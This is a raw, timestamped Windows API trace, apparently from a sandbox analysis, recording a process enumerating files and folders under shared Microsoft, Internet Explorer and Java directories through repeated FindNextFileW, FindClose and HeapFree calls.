	[0072.267] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0072.267] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0072.267] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.267] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0072.267] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.267] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0072.267] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0072.267] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.267] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0072.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.268] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0072.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.268] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0072.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.268] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0072.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.268] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0072.268] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.268] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0072.269] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0072.269] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.270] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0072.271] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.271] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef16b10, ftCreationTime.dwHighDateTime=0x1d55010, ftLastAccessTime.dwLowDateTime=0x1aac8340, ftLastAccessTime.dwHighDateTime=0x1d5556c, ftLastWriteTime.dwLowDateTime=0x1aac8340, ftLastWriteTime.dwHighDateTime=0x1d5556c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1
	[0072.272] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.272] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0072.272] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.272] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0072.272] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.272] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0072.615] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.616] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0072.616] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.616] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0072.616] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.616] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0072.617] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.617] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0072.617] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.618] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0072.618] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0072.618] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0072.618] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0072.619] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.619] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0072.619] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.619] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7ef8f0, ftCreationTime.dwHighDateTime=0x1d5ac45, ftLastAccessTime.dwLowDateTime=0xb15d8f60, ftLastAccessTime.dwHighDateTime=0x1d54fa3, ftLastWriteTime.dwLowDateTime=0xb15d8f60, ftLastWriteTime.dwHighDateTime=0x1d54fa3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="limitedcatchexemption.exe", cAlternateFileName="LIMITE~1.EXE")) returned 1
	[0072.620] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0072.620] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0072.620] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0072.620] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1
	[0072.624] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.624] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0072.629] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.629] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0072.632] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0072.632] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0072.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0072.634] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0072.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.640] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0072.641] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.641] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0072.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.642] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0072.646] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.646] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0072.652] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.652] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0072.655] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.655] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0072.662] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0072.662] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0072.663] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0072.663] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.663] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0072.664] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.664] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0072.667] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0072.667] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0072.675] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
